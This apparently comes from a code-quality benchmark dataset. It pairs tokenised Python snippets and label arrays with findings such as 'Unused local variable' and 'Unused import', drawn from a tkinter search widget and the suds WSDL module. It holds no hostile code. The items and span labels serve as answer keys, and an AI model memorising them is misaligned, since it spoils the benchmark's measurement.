[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "download", "\\u", "to_", "(_", "url_", ",_", "folder", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "name_", "=_", "url_", "._", "rsplit_", "(_", "'/'_", ",_", "1_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "download", "\\u", "path_", "=_", "path_", "._", "join_", "(_", "folder", "\\u", "path_", ",_", "file", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "got", "\\u", "path_", ",_", "headers_", "=_", "urllib_", "._", "urlretrieve_", "(_", "url_", ",_", "download", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "file", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
boakley/robotframework-workbench/rwb/widgets/searchentry.py
[ { "content": " def begin(self, pattern, start=\"insert\"):\n '''Begin a new search'''\n target = self.parent.get_search_target()\n\n self.reset()\n start = target.index(start)\n\n range1 = (start, \"end\")\n if target.compare(start, \"!=\", \"1.0\"):\n range2 = (\"1.0\", start)\n else:\n range2 = ()\n\n # tkinter's text widget doesn't support the -all option for searching,\n # so we'll have to directly interface with the tcl subsystem\n command = [target._w, \"search\", \"-nocase\", \"-all\", \"-forwards\"]\n command.append(pattern)\n\n # search first from start to EOF, then from 1.0 to \n # the starting point. Why? Most likely the user is\n # wanting to find the next occurrance. This simply\n # optimizes the search so the first match is closest\n # to the insertion cursor\n result1 = self.tk.call(tuple(command + [\"insert linestart\", \"end\"]))\n result2 = self.tk.call(tuple(command + [\"1.0\", \"insert lineend\"]))\n\n # why reverse result2? It represents results above the\n # starting point, so if result1 is null, this guarantees\n # that the first result is nearest the search start\n result = list(result1) + list(reversed(result2))\n if len(result) > 0:\n i = result[0]\n self._mark_current(i, \"%s + %sc\" % (i, len(pattern)))\n for index in result:\n target.tag_add(\"find\", index, \"%s + %sc\" % (index, len(pattern)))", "metadata": "root.SearchEntry.begin", "header": "['class', 'SearchEntry', '(', 'SearchBox', ')', ':', '___EOS___']", "index": 159 } ]
[ { "span": "range1 ", "start_line": 166, "start_column": 8, "end_line": 166, "end_column": 14 }, { "span": "range2 ", "start_line": 168, "start_column": 12, "end_line": 168, "end_column": 18 }, { "span": "range2 ", "start_line": 170, "start_column": 12, "end_line": 170, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Sear", "ch", "Entry_", "(_", "Sear", "ch", "Box_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "begin_", "(_", "self_", ",_", "pattern_", ",_", "start_", "=_", "\"", "insert", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Begin", " ", "a", " ", "new", " ", "search", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target_", "=_", "self_", "._", "parent_", "._", "get", "\\u", "search", "\\u", "target_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "reset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "target_", "._", "index_", "(_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "range", "1_", "=_", "(_", "start_", ",_", "\"", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "target_", "._", "compare_", "(_", "start_", ",_", "\"!", "=\"_", ",_", "\"", "1.0", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "range", "2_", "=_", "(_", "\"", "1.0", "\"_", ",_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "range", "2_", "=_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tkin", "ter", "'", "s", " ", "text", " ", "widget", " ", "doe", "sn", "'", "t", " ", "support", " ", "the", " ", "-", "all", " ", "option", " ", "for", " ", "search", "ing", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "we", "'", "ll", " ", "have", " ", "to", " ", "direct", "ly", " ", "interface", " ", "with", " ", "the", " ", "tcl", " ", "subsystem", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "command_", "=_", "[_", "target_", "._", "\\u", "w_", ",_", "\"", "search", "\"_", ",_", "\"-", "noca", "se", "\"_", ",_", "\"-", "all", "\"_", ",_", "\"-", "forward", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command_", "._", "append_", "(_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "search", " ", "first", " ", "from", " ", "start", " ", "to", " ", "EO", "F", ",", " ", "then", " ", "from", " ", "1.0", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "startin", "g", " ", "point", ".", " ", "Wh", "y", "?", " ", "Mos", "t", " ", "like", "ly", " ", "the", " ", "user", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "want", "ing", " ", "to", " ", "find", " ", "the", " ", "next", " ", "occur", "rance", ".", " ", "Thi", "s", " ", "simp", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "optimize", "s", " ", "the", " ", "search", " ", "so", " ", "the", " ", "first", " ", "match", " ", "is", " ", "closest", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "the", " ", "insertion", " ", "cursor_", "\\u\\u\\uNL\\u\\u\\u_", "result1_", "=_", "self_", "._", "tk_", "._", "call_", "(_", "tuple_", "(_", "command_", "+_", "[_", "\"", "insert", " ", "linest", "art", "\"_", ",_", "\"", "end", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result2_", "=_", "self_", "._", "tk_", "._", "call_", "(_", "tuple_", "(_", "command_", "+_", "[_", "\"", "1.0", "\"_", ",_", "\"", "insert", " ", "line", "end", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "wh", "y", " ", "reverse", " ", "result", "2", "?", " ", "It", " ", "represent", "s", " ", "results", " ", "above", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "startin", "g", " ", "point", ",", " ", "so", " ", "if", " ", "result", "1", " ", "is", " ", "null", ",", " ", "this", " ", "guaran", "tee", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", " ", "the", " ", "first", " ", "result", " ", "is", " ", "near", "est", " ", "the", " ", "search", " ", "start_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "list_", "(_", "result1_", ")_", "+_", "list_", "(_", "reversed_", "(_", "result2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "result_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "result_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "mark", "\\u", "current_", "(_", "i_", ",_", "\"%", "s", " ", "+", " ", "%", "sc", "\"_", "%_", "(_", "i_", ",_", "len_", "(_", "pattern_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "index_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
jumoconnect/openjumo/jumodjango/lib/suds/wsdl.py
[ { "content": "# This program is free software; you can redistribute it and/or modify\n# it under the terms of the (LGPL) GNU Lesser General Public License as\n# published by the Free Software Foundation; either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Library Lesser General Public License for more details at\n# ( http://www.gnu.org/licenses/lgpl.html ).\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n# written by: Jeff Ortel ( [email protected] )\n\n\"\"\"\nThe I{wsdl} module provides an objectification of the WSDL.\nThe primary class is I{Definitions} as it represends the root element\nfound in the document.\n\"\"\"\n\nfrom logging import getLogger\nfrom suds import *\nfrom suds.sax import splitPrefix\nfrom suds.sax.element import Element\nfrom suds.bindings.document import Document\nfrom suds.bindings.rpc import RPC, Encoded\nfrom suds.xsd import qualify, Namespace\nfrom suds.xsd.schema import Schema, SchemaCollection\nfrom suds.xsd.query import ElementQuery\nfrom suds.sudsobject import Object, Facade, Metadata\nfrom suds.reader import DocumentReader, DefinitionsReader\nfrom urlparse import urljoin\nimport re, soaparray\n\nlog = getLogger(__name__)\n\nwsdlns = (None, \"http://schemas.xmlsoap.org/wsdl/\")\nsoapns = (None, 'http://schemas.xmlsoap.org/wsdl/soap/')\nsoap12ns = (None, 'http://schemas.xmlsoap.org/wsdl/soap12/')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class WObject(Object):\n \"\"\"\n Base object for wsdl types.\n @ivar root: The XML I{root} element.\n @type root: L{Element}\n \"\"\"\n\n", "metadata": "root.WObject", "header": "['module', '___EOS___']", "index": 43 }, { "content": " def __init__(self, root, definitions=None):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n Object.__init__(self)\n self.root = root\n pmd = Metadata()\n pmd.excludes = ['root']\n pmd.wrappers = dict(qname=repr)\n self.__metadata__.__print__ = pmd", "metadata": "root.WObject.__init__", "header": "['class', 'WObject', '(', 'Object', ')', ':', '___EOS___']", "index": 50 }, { "content": " def resolve(self, definitions):\n \"\"\"\n Resolve named references to other WSDL objects.\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n pass", "metadata": "root.WObject.resolve", "header": "['class', 'WObject', '(', 'Object', ')', ':', '___EOS___']", "index": 64 }, { "content": "class NamedObject(WObject):\n \"\"\"\n A B{named} WSDL object.\n @ivar name: The name of the object.\n @type name: str\n @ivar qname: The I{qualified} name of the object.\n @type qname: (name, I{namespace-uri}).\n \"\"\"\n", "metadata": "root.NamedObject", "header": "['module', '___EOS___']", "index": 73 }, { "content": " def __init__(self, root, definitions):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n WObject.__init__(self, root, definitions)\n self.name = root.get('name')\n self.qname = (self.name, definitions.tns[1])\n pmd = self.__metadata__.__print__\n pmd.wrappers['qname'] = repr", "metadata": "root.NamedObject.__init__", "header": "['class', 'NamedObject', '(', 'WObject', ')', ':', '___EOS___']", "index": 82 }, { "content": "class Definitions(WObject):\n \"\"\"\n Represents the I{root} container of the WSDL objects as defined\n by <wsdl:definitions/>\n @ivar id: The object id.\n @type id: str\n @ivar options: An options dictionary.\n @type options: L{options.Options}\n @ivar url: The URL used to load the object.\n @type url: str\n @ivar tns: The target namespace for the WSDL.\n @type tns: str\n @ivar schema: The collective WSDL schema object.\n @type schema: L{SchemaCollection}\n @ivar children: The raw list of child objects.\n @type children: [L{WObject},...]\n @ivar imports: The list of L{Import} children.\n @type imports: [L{Import},...]\n @ivar messages: The dictionary of L{Message} children key'd by I{qname}\n @type messages: [L{Message},...]\n @ivar port_types: The dictionary of L{PortType} children key'd by I{qname}\n @type port_types: [L{PortType},...]\n @ivar bindings: The dictionary of L{Binding} children key'd by I{qname}\n @type bindings: [L{Binding},...]\n @ivar service: The service object.\n @type service: L{Service}\n \"\"\"\n\n Tag = 'definitions'\n\n\n\n\n\n\n\n\n\n", "metadata": "root.Definitions", "header": "['module', '___EOS___']", "index": 96 }, { "content": " def __init__(self, url, options):\n \"\"\"\n @param url: A URL to the WSDL.\n @type url: str\n @param options: An options dictionary.\n @type options: L{options.Options}\n \"\"\"\n #log.debug('reading wsdl at: %s ...', url)\n reader = DocumentReader(options)\n d = reader.open(url)\n root = d.root()\n WObject.__init__(self, root)\n self.id = objid(self)\n self.options = options\n self.url = url\n self.tns = self.mktns(root)\n self.types = []\n self.schema = None\n self.children = []\n self.imports = []\n self.messages = {}\n self.port_types = {}\n self.bindings = {}\n self.services = []\n self.add_children(self.root)\n self.children.sort()\n pmd = self.__metadata__.__print__\n pmd.excludes.append('children')\n pmd.excludes.append('wsdl')\n pmd.wrappers['schema'] = repr\n self.open_imports()\n self.resolve()\n self.build_schema()\n self.set_wrapped()\n for s in self.services:\n self.add_methods(s)\n #log.debug(\"wsdl at '%s' loaded:\\n%s\", url, self)", "metadata": "root.Definitions.__init__", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 126 }, { "content": " def mktns(self, root):\n \"\"\" Get/create the target namespace \"\"\"\n tns = root.get('targetNamespace')\n prefix = root.findPrefix(tns)\n if prefix is None:\n #log.debug('warning: tns (%s), not mapped to prefix', tns)\n prefix = 'tns'\n return (prefix, tns)", "metadata": "root.Definitions.mktns", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 164 }, { "content": " def add_children(self, root):\n \"\"\" Add child objects using the factory \"\"\"\n for c in root.getChildren(ns=wsdlns):\n child = Factory.create(c, self)\n if child is None: continue\n self.children.append(child)\n if isinstance(child, Import):\n self.imports.append(child)\n continue\n if isinstance(child, Types):\n self.types.append(child)\n continue\n if isinstance(child, Message):\n self.messages[child.qname] = child\n continue\n if isinstance(child, PortType):\n self.port_types[child.qname] = child\n continue\n if isinstance(child, Binding):\n self.bindings[child.qname] = child\n continue\n if isinstance(child, Service):\n self.services.append(child)\n continue", "metadata": "root.Definitions.add_children", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 173 }, { "content": " def open_imports(self):\n \"\"\" Import the I{imported} WSDLs. \"\"\"\n for imp in self.imports:\n imp.load(self)", "metadata": "root.Definitions.open_imports", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 198 }, { "content": " def resolve(self):\n \"\"\" Tell all children to resolve themselves \"\"\"\n for c in self.children:\n c.resolve(self)", "metadata": "root.Definitions.resolve", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 203 }, { "content": " def build_schema(self):\n \"\"\" Process L{Types} objects and create the schema collection \"\"\"\n container = SchemaCollection(self)\n for t in [t for t in self.types if t.local()]:\n for root in t.contents():\n schema = Schema(root, self.url, self.options, container)\n container.add(schema)\n if not len(container): # empty\n root = Element.buildPath(self.root, 'types/schema')\n schema = Schema(root, self.url, self.options, container)\n container.add(schema)\n self.schema = container.load(self.options)\n for s in [t.schema() for t in self.types if t.imported()]:\n self.schema.merge(s)\n return self.schema", "metadata": "root.Definitions.build_schema", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 208 }, { "content": " def add_methods(self, service):\n \"\"\" Build method view for service \"\"\"\n bindings = {\n 'document/literal' : Document(self),\n 'rpc/literal' : RPC(self),\n 'rpc/encoded' : Encoded(self)\n }\n for p in service.ports:\n binding = p.binding\n ptype = p.binding.type\n operations = p.binding.type.operations.values()\n for name in [op.name for op in operations]:\n m = Facade('Method')\n m.name = name\n m.location = p.location\n m.binding = Facade('binding')\n op = binding.operation(name)\n m.soap = op.soap\n key = '/'.join((op.soap.style, op.soap.input.body.use))\n m.binding.input = bindings.get(key)\n key = '/'.join((op.soap.style, op.soap.output.body.use))\n m.binding.output = bindings.get(key)\n op = ptype.operation(name)\n p.methods[name] = m", "metadata": "root.Definitions.add_methods", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 224 }, { "content": " def set_wrapped(self):\n \"\"\" set (wrapped|bare) flag on messages \"\"\"\n for b in self.bindings.values():\n for op in b.operations.values():\n for body in (op.soap.input.body, op.soap.output.body):\n body.wrapped = False\n if len(body.parts) != 1:\n continue\n for p in body.parts:\n if p.element is None:\n continue\n query = ElementQuery(p.element)\n pt = query.execute(self.schema)\n if pt is None:\n raise TypeNotFound(query.ref)\n resolved = pt.resolve()\n if resolved.builtin():\n continue\n body.wrapped = True", "metadata": "root.Definitions.set_wrapped", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 249 }, { "content": " def __getstate__(self):\n nopickle = ('options',)\n state = self.__dict__.copy()\n for k in nopickle:\n if k in state:\n del state[k]\n return state", "metadata": "root.Definitions.__getstate__", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 269 }, { "content": " def __repr__(self):\n return 'Definitions (id=%s)' % self.id", "metadata": "root.Definitions.__repr__", "header": "['class', 'Definitions', '(', 'WObject', ')', ':', '___EOS___']", "index": 277 }, { "content": "class Import(WObject):\n \"\"\"\n Represents the <wsdl:import/>.\n @ivar location: The value of the I{location} attribute.\n @type location: str\n @ivar ns: The value of the I{namespace} attribute.\n @type ns: str\n @ivar imported: The imported object.\n @type imported: L{Definitions}\n \"\"\"\n\n\n\n\n", "metadata": "root.Import", "header": "['module', '___EOS___']", "index": 281 }, { "content": " def __init__(self, root, definitions):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n WObject.__init__(self, root, definitions)\n self.location = root.get('location')\n self.ns = root.get('namespace')\n self.imported = None\n pmd = self.__metadata__.__print__\n pmd.wrappers['imported'] = repr", "metadata": "root.Import.__init__", "header": "['class', 'Import', '(', 'WObject', ')', ':', '___EOS___']", "index": 292 }, { "content": " def load(self, definitions):\n \"\"\" Load the object by opening the URL \"\"\"\n url = self.location\n #log.debug('importing (%s)', url)\n if '://' not in url:\n url = urljoin(definitions.url, url)\n options = definitions.options\n d = Definitions(url, options)\n if d.root.match(Definitions.Tag, wsdlns):\n self.import_definitions(definitions, d)\n return\n if d.root.match(Schema.Tag, Namespace.xsdns):\n self.import_schema(definitions, d)\n return\n raise Exception('document at \"%s\" is unknown' % url)", "metadata": "root.Import.load", "header": "['class', 'Import', '(', 'WObject', ')', ':', '___EOS___']", "index": 306 }, { "content": " def import_definitions(self, definitions, d):\n \"\"\" import/merge wsdl definitions \"\"\"\n definitions.types += d.types\n definitions.messages.update(d.messages)\n definitions.port_types.update(d.port_types)\n definitions.bindings.update(d.bindings)\n self.imported = d\n #log.debug('imported (WSDL):\\n%s', d)", "metadata": "root.Import.import_definitions", "header": "['class', 'Import', '(', 'WObject', ')', ':', '___EOS___']", "index": 322 }, { "content": " def import_schema(self, definitions, d):\n \"\"\" import schema as <types/> content \"\"\"\n if not len(definitions.types):\n types = Types.create(definitions)\n definitions.types.append(types)\n else:\n types = definitions.types[-1]\n types.root.append(d.root)\n #log.debug('imported (XSD):\\n%s', d.root)", "metadata": "root.Import.import_schema", "header": "['class', 'Import', '(', 'WObject', ')', ':', '___EOS___']", "index": 331 }, { "content": " def __gt__(self, other):\n return False", "metadata": "root.Import.__gt__", "header": "['class', 'Import', '(', 'WObject', ')', ':', '___EOS___']", "index": 341 }, { "content": "class Types(WObject):\n \"\"\"\n Represents <types><schema/></types>.\n \"\"\"\n\n\n\n\n\n\n", "metadata": "root.Types", "header": "['module', '___EOS___']", "index": 345 }, { "content": " @classmethod\n def create(cls, definitions):\n root = Element('types', ns=wsdlns)\n definitions.root.insert(root)\n return Types(root, definitions)", "metadata": "root.Types.create", "header": "['class', 'Types', '(', 'WObject', ')', ':', '___EOS___']", "index": 350 }, { "content": " def __init__(self, root, definitions):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n WObject.__init__(self, root, definitions)\n self.definitions = definitions", "metadata": "root.Types.__init__", "header": "['class', 'Types', '(', 'WObject', ')', ':', '___EOS___']", "index": 356 }, { "content": " def contents(self):\n return self.root.getChildren('schema', Namespace.xsdns)", "metadata": "root.Types.contents", "header": "['class', 'Types', '(', 'WObject', ')', ':', '___EOS___']", "index": 366 }, { "content": " def schema(self):\n return self.definitions.schema", "metadata": "root.Types.schema", "header": "['class', 'Types', '(', 'WObject', ')', ':', '___EOS___']", "index": 369 }, { "content": " def local(self):\n return ( self.definitions.schema is None )", "metadata": "root.Types.local", "header": "['class', 'Types', '(', 'WObject', ')', ':', '___EOS___']", "index": 372 }, { "content": " def imported(self):\n return ( not self.local() )", "metadata": "root.Types.imported", "header": "['class', 'Types', '(', 'WObject', ')', ':', '___EOS___']", "index": 375 }, { "content": " def __gt__(self, other):\n return isinstance(other, Import)", "metadata": "root.Types.__gt__", "header": "['class', 'Types', '(', 'WObject', ')', ':', '___EOS___']", "index": 378 }, { "content": "class Part(NamedObject):\n \"\"\"\n Represents <message><part/></message>.\n @ivar element: The value of the {element} attribute.\n Stored as a I{qref} as converted by L{suds.xsd.qualify}.\n @type element: str\n @ivar type: The value of the {type} attribute.\n Stored as a I{qref} as converted by L{suds.xsd.qualify}.\n @type type: str\n \"\"\"\n\n", "metadata": "root.Part", "header": "['module', '___EOS___']", "index": 382 }, { "content": " def __init__(self, root, definitions):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n NamedObject.__init__(self, root, definitions)\n pmd = Metadata()\n pmd.wrappers = dict(element=repr, type=repr)\n self.__metadata__.__print__ = pmd\n tns = definitions.tns\n self.element = self.__getref('element', tns)\n self.type = self.__getref('type', tns)", "metadata": "root.Part.__init__", "header": "['class', 'Part', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 393 }, { "content": " def __getref(self, a, tns):\n \"\"\" Get the qualified value of attribute named 'a'.\"\"\"\n s = self.root.get(a)\n if s is None:\n return s\n else:\n return qualify(s, self.root, tns)", "metadata": "root.Part.__getref", "header": "['class', 'Part', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 408 }, { "content": "class Message(NamedObject):\n \"\"\"\n Represents <message/>.\n @ivar parts: A list of message parts.\n @type parts: [I{Part},...]\n \"\"\"\n\n", "metadata": "root.Message", "header": "['module', '___EOS___']", "index": 417 }, { "content": " def __init__(self, root, definitions):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n NamedObject.__init__(self, root, definitions)\n self.parts = []\n for p in root.getChildren('part'):\n part = Part(p, definitions)\n self.parts.append(part)", "metadata": "root.Message.__init__", "header": "['class', 'Message', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 424 }, { "content": " def __gt__(self, other):\n return isinstance(other, (Import, Types))", "metadata": "root.Message.__gt__", "header": "['class', 'Message', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 437 }, { "content": "class PortType(NamedObject):\n \"\"\"\n Represents <portType/>.\n @ivar operations: A list of contained operations.\n @type operations: list\n \"\"\"\n\n\n\n", "metadata": "root.PortType", "header": "['module', '___EOS___']", "index": 441 }, { "content": " def __init__(self, root, definitions):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n NamedObject.__init__(self, root, definitions)\n self.operations = {}\n for c in root.getChildren('operation'):\n op = Facade('Operation')\n op.name = c.get('name')\n op.tns = definitions.tns\n input = c.getChild('input')\n if input is None:\n op.input = None\n else:\n op.input = input.get('message')\n output = c.getChild('output')\n if output is None:\n op.output = None\n else:\n op.output = output.get('message')\n faults = []\n for fault in c.getChildren('fault'):\n f = Facade('Fault')\n f.name = fault.get('name')\n f.message = fault.get('message')\n faults.append(f)\n op.faults = faults\n self.operations[op.name] = op", "metadata": "root.PortType.__init__", "header": "['class', 'PortType', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 448 }, { "content": " def resolve(self, definitions):\n \"\"\"\n Resolve named references to other WSDL objects.\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n for op in self.operations.values():\n if op.input is None:\n op.input = Message(Element('no-input'), definitions)\n else:\n qref = qualify(op.input, self.root, definitions.tns)\n msg = definitions.messages.get(qref)\n if msg is None:\n raise Exception(\"msg '%s', not-found\" % op.input)\n else:\n op.input = msg\n if op.output is None:\n op.output = Message(Element('no-output'), definitions)\n else:\n qref = qualify(op.output, self.root, definitions.tns)\n msg = definitions.messages.get(qref)\n if msg is None:\n raise Exception(\"msg '%s', not-found\" % op.output)\n else:\n op.output = msg\n for f in op.faults:\n qref = qualify(f.message, self.root, definitions.tns)\n msg = definitions.messages.get(qref)\n if msg is None:\n raise Exception, \"msg '%s', not-found\" % f.message\n f.message = msg", "metadata": "root.PortType.resolve", "header": "['class', 'PortType', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 480 }, { "content": " def operation(self, name):\n \"\"\"\n Shortcut used to get a contained operation by name.\n @param name: An operation name.\n @type name: str\n @return: The named operation.\n @rtype: Operation\n @raise L{MethodNotFound}: When not found.\n \"\"\"\n try:\n return self.operations[name]\n except Exception, e:\n raise MethodNotFound(name)", "metadata": "root.PortType.operation", "header": "['class', 'PortType', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 512 }, { "content": " def __gt__(self, other):\n return isinstance(other, (Import, Types, Message))", "metadata": "root.PortType.__gt__", "header": "['class', 'PortType', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 526 }, { "content": "class Binding(NamedObject):\n \"\"\"\n Represents <binding/>\n @ivar operations: A list of contained operations.\n @type operations: list\n \"\"\"\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.Binding", "header": "['module', '___EOS___']", "index": 530 }, { "content": " def __init__(self, root, definitions):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n NamedObject.__init__(self, root, definitions)\n self.operations = {}\n self.type = root.get('type')\n sr = self.soaproot()\n if sr is None:\n self.soap = None\n #log.debug('binding: \"%s\" not a soap binding', self.name)\n return\n soap = Facade('soap')\n self.soap = soap\n self.soap.style = sr.get('style', default='document')\n self.add_operations(self.root, definitions)", "metadata": "root.Binding.__init__", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 537 }, { "content": " def soaproot(self):\n \"\"\" get the soap:binding \"\"\"\n for ns in (soapns, soap12ns):\n sr = self.root.getChild('binding', ns=ns)\n if sr is not None:\n return sr\n return None", "metadata": "root.Binding.soaproot", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 557 }, { "content": " def add_operations(self, root, definitions):\n \"\"\" Add <operation/> children \"\"\"\n dsop = 